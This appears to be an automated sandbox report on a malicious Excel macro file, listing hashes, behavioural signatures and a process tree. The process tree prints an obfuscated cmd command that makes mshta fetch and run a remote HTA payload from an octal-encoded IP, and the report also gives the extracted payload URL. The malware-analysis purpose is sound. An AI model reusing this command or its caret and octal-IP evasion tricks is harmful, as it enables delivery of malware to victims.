Analysis
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max time kernel
140s -
max time network
148s -
platform
windows10_x64 -
resource
win10-20220223-en -
submitted
13-03-2022 12:52
Behavioral task
behavioral1
Sample
053bb9b9096198d542ba99d4aa0148e9af3797c17d2b874f406bf9d35749d809.xlsm
Resource
win10-20220310-en
Behavioral task
behavioral2
Sample
053bb9b9096198d542ba99d4aa0148e9af3797c17d2b874f406bf9d35749d809.xlsm
Resource
win10-20220223-en
General
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Target
053bb9b9096198d542ba99d4aa0148e9af3797c17d2b874f406bf9d35749d809.xlsm
-
Size
110KB
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MD5
fdba23f96e2a3337048fbd1f116ac128
-
SHA1
b9599026ed63f455d2cda18ec8dff202170be381
-
SHA256
053bb9b9096198d542ba99d4aa0148e9af3797c17d2b874f406bf9d35749d809
-
SHA512
82a691f0c5abaa2a9b56c800b9d405c155e6f5c6cfa80f1f39028ff8ce7e8239ee39cef06686b855c3173c8b4d034a55901280bfb0489e2bfdbebef153a89aa6
Malware Config
Extracted
http://46.105.81.76/c.html
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 3960 2508 cmd.exe EXCEL.EXE -
Blocklisted process makes network request 1 IoCs
Processes:
mshta.exeflow pid process 13 2804 mshta.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
EXCEL.EXEdescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 2508 EXCEL.EXE -
Suspicious use of SetWindowsHookEx 13 IoCs
Processes:
EXCEL.EXEpid process 2508 EXCEL.EXE 2508 EXCEL.EXE 2508 EXCEL.EXE 2508 EXCEL.EXE 2508 EXCEL.EXE 2508 EXCEL.EXE 2508 EXCEL.EXE 2508 EXCEL.EXE 2508 EXCEL.EXE 2508 EXCEL.EXE 2508 EXCEL.EXE 2508 EXCEL.EXE 2508 EXCEL.EXE -
Suspicious use of WriteProcessMemory 4 IoCs
Processes:
EXCEL.EXEcmd.exedescription pid process target process PID 2508 wrote to memory of 3960 2508 EXCEL.EXE cmd.exe PID 2508 wrote to memory of 3960 2508 EXCEL.EXE cmd.exe PID 3960 wrote to memory of 2804 3960 cmd.exe mshta.exe PID 3960 wrote to memory of 2804 3960 cmd.exe mshta.exe
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\053bb9b9096198d542ba99d4aa0148e9af3797c17d2b874f406bf9d35749d809.xlsm"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2508 -
C:\Windows\SYSTEM32\cmd.execmd /c m^sh^t^a h^tt^p^:/^/0056.0151.0121.0114/c.html2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:3960 -
C:\Windows\system32\mshta.exemshta http://0056.0151.0121.0114/c.html3⤵
- Blocklisted process makes network request
PID:2804